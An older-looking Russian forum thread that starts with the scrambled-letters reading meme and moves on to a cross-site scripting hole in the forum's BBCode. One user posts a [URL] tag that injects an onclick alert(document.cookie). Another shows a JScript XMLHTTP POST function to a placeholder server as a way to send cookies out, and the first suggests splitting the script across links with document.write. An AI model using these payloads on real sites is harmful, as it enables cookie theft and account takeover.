Новое в науке...

[xt3]

По рзелульаттам илссеовадний одонго анлигйсокго унвиертисета, не иеемт занчнеия, в кокам пряокде рсапожолены бкувы в солве. Галвоне, чотбы преавя и пслоендяя бквуы блыи на мсете. Осатьлыне бкувы мгоут селдовтаь в плоонм бсепордяке, все-рвано ткест чтаитсея без побрелм. Пичрионй эгото ялвятеся то, что мы не чиатем кдаужю бкуву по отдльенотси, а все солво цликеом

[Экстремал]

Оригинал:
Aoccdrnig to a rscheearch at an Elingsh uinervtisy, it deosn't mttaer in
waht oredr the ltteers in a wrod are, the olny iprmoetnt tihng is taht frist
and lsat ltteer is at the rghit pclae. The rset can be a toatl mses and you
can sitll raed it wouthit porbelm. Tihs is bcuseae we do not raed ervey
lteter by it slef but the wrod as a wlohe.

[xt3]

[URL=http://www.securityLab.ru" onclick="javascript:alert(document.cookie)]Наведи мышку! И увидь свои куки![/URL]

[Oswald]

о! хускер!

[xt3]

Freerider! Я думал ты форум поддерживаешь. Уязвимости ужо 10 дней.

[Oswald]

как это увидт куки?

[xt3]

cookies (инфа сохраняемая сервером на твоем компе)- благодаря которым ты можешь осуществялть автологин. (а хакер если их у тебя сопрет сможет логинится под твоим ником. а если сопрет у админа, то сможет сделать больше)

[Oswald]

я веб программер вообще то
1) Никаких куков я не вижу
2) Беды изза того что я вижу свои куки не будет
"alert(document.cookie);" И ты этим вот кого то пугаешь?

Хотя вообщето через HTTPRequest эту инфу можно закинуть на нужный сервер
<script language="JScript">
function Post(xmldoc)
{
var xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0");
xmlhttp.Open("POST", "http://myserver/orders/processorder.asp", false);
xmlhttp.Send(xmldoc);
return xmlhttp.responseXML;
}
</script>
Но тут ты скрипт не сможешь написать

[xt3]

А если каждую строчку функции в отдельной ссылке через document.write?

[freerider]